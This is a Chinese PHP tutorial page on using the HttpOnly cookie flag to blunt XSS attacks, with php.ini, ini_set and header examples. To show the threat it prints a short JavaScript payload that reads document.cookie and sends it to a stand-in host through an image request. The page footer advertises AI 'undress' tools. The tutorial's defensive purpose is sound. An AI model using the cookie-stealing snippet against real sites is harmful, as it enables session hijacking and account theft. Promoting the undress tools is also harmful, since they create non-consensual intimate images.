首頁 php教程 php手册 xss防御之php利用httponly防xss攻击

xss防御之php利用httponly防xss攻击

Jun 06, 2016 pm 08:23 PM
httponly xss攻擊

这篇文章主要介绍了xss防御之php利用httponly防xss攻击,下面是PHP设置HttpOnly的方法,需要的朋友可以参考下

xss的概念就不用多说了,,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。

如下js获取cookie信息:

复制代码 代码如下:


url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

一般cookie都是从document对象中获取的,现在浏览器在设置Cookie的时候一般都接受一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被设置,你在浏览器的document对象中就看不到Cookie了。

PHP设置HttpOnly:

复制代码 代码如下:


//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

对于PHP5.1以前版本的PHP通过:

复制代码 代码如下:


header("Set-Cookie: hidden=value; httpOnly");

最后,HttpOnly不是万能的!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

如何使用PHP防禦跨站腳本(XSS)攻擊 如何使用PHP防禦跨站腳本(XSS)攻擊 Jun 29, 2023 am 10:46 AM

如何使用PHP防禦跨站腳本(XSS)攻擊隨著互聯網的快速發展,跨站腳本(Cross-SiteScripting,簡稱XSS)攻擊是最常見的網路安全威脅之一。 XSS攻擊主要是透過在網頁中註入惡意腳本,從而實現獲取用戶敏感資訊、盜取用戶帳號等目的。為了保護使用者資料的安全,開發人員應該採取適當的措施來防禦XSS攻擊。本文將介紹一些常用的PHP防禦XSS攻擊的技術

XSS漏洞的工作原理是什麼? XSS漏洞的工作原理是什麼? Feb 19, 2024 pm 07:31 PM

XSS攻擊原理是什麼,需要具體程式碼範例隨著網路的普及和發展,網路應用程式的安全性逐漸成為人們關注的焦點。其中,跨站腳本攻擊(Cross-SiteScripting,簡稱XSS)是一種常見的安全漏洞,對於Web開發人員而言必須要重視。 XSS攻擊是透過向Web頁面注入惡意的腳本程式碼,從而在使用者的瀏覽器中執行,讓攻擊者可以控制使用者的瀏覽器,取得使用者的敏感信

PHP資料過濾:預防XSS和CSRF攻擊 PHP資料過濾:預防XSS和CSRF攻擊 Jul 29, 2023 pm 03:33 PM

PHP資料過濾:預防XSS和CSRF攻擊隨著網路的發展,網路安全成為人們關注的焦點之一。在網站開發中,對於使用者提交的資料進行過濾和驗證是非常重要的,尤其是預防XSS(跨站腳本攻擊)和CSRF(跨站請求偽造攻擊)攻擊。本文將介紹如何使用PHP來防止這兩種常見的安全漏洞,並提供一些範例程式碼供參考。預防XSS攻擊XSS攻擊是指惡意攻擊者透過注入惡意腳本或程式碼來篡

如何在Java中設定HttpOnly Cookie? 如何在Java中設定HttpOnly Cookie? Apr 22, 2023 pm 06:37 PM

Httponlycookie是一種cookie安全解決方案。在支援httponlycookie的瀏覽器(IE6+、FF3.0+)中,如果cookie中設定了「httponly」屬性,則JavaScript腳本將無法讀取cookie訊息,可以有效防止XSS攻擊,讓網站應用程式更安全。但是J2EE4、J2EE5cookie不提供設定httponly屬性的方法,所以如果需要設定httponly屬性需要自己處理。 importjavax.servlet.http.Cookie;importjavax.serv

Codeql如何分析cookie未啟用httponly的問題 Codeql如何分析cookie未啟用httponly的問題 May 17, 2023 pm 05:25 PM

序今天我們利用codeql分析下「cookie未啟用httponly「這類的安全性問題,由此加深自己對codeql的使用。如果反應好的話,可以考慮把Vulnerability-goapp的其他漏洞也弄一弄。分析go程式時必須額外下載codeql-go說明稽核物件Vulnerability-goapp:VulnerablegolangWebapplicationforeducation。修改因為該項目中的所有cookie均未設定http-only,沒有對比性,所以我們先要對其修改。在一些cookie

Go語言中的跨站點腳本(XSS)攻擊防範:最佳實踐和技巧 Go語言中的跨站點腳本(XSS)攻擊防範:最佳實踐和技巧 Jun 17, 2023 pm 12:46 PM

隨著網路的快速發展,網站安全問題已經成為了網路世界中的一大難題。跨網站腳本(XSS)攻擊是一種常見的安全漏洞,它利用網站的弱點,將惡意腳本注入到網頁中,從而對使用者的資訊進行竊取和篡改。 Go語言作為一種高效、安全的程式語言,為我們提供了強而有力的防範XSS攻擊的工具和技巧。本文將介紹一些最佳實踐和技巧,幫助Go語言開發者有效地預防和解決XSS攻擊。對所有輸入進

Java開發中常見的網路安全問題及解決方法 Java開發中常見的網路安全問題及解決方法 Oct 09, 2023 pm 06:36 PM

Java開發中常見的網路安全問題及解決方法摘要:隨著網際網路的普及,網路安全問題日益凸顯。在Java開發過程中,我們需要考慮如何保護網路通訊的安全性。本篇文章將介紹一些常見的網路安全問題,並提供相應的解決方法和程式碼範例。一、跨站腳本攻擊(XSS)XSS攻擊是指透過將惡意腳本注入網頁中,獲取使用者敏感資訊的一種攻擊手段。為防止XSS攻擊,我們可以使用常規的輸入檢

學習安全防範:使用PHP避免XSS攻擊 學習安全防範:使用PHP避免XSS攻擊 Jun 22, 2023 am 08:48 AM

在網路時代,隨著網路應用的不斷普及和發展,注入和跨站點腳本攻擊(XSS)已成為安全防範工作中的一個重點。其中,XSS攻擊是攻擊者透過在網路頁面中插入惡意腳本來實現攻擊的方式,而PHP作為一種伺服器端腳本語言,在Web開發中廣泛應用,如何使用PHP避免XSS攻擊成為了開發人員必須面對的問題。首先,了解XSS攻擊的實現方式對於預防XSS攻擊至關重要。 XSS

See all articles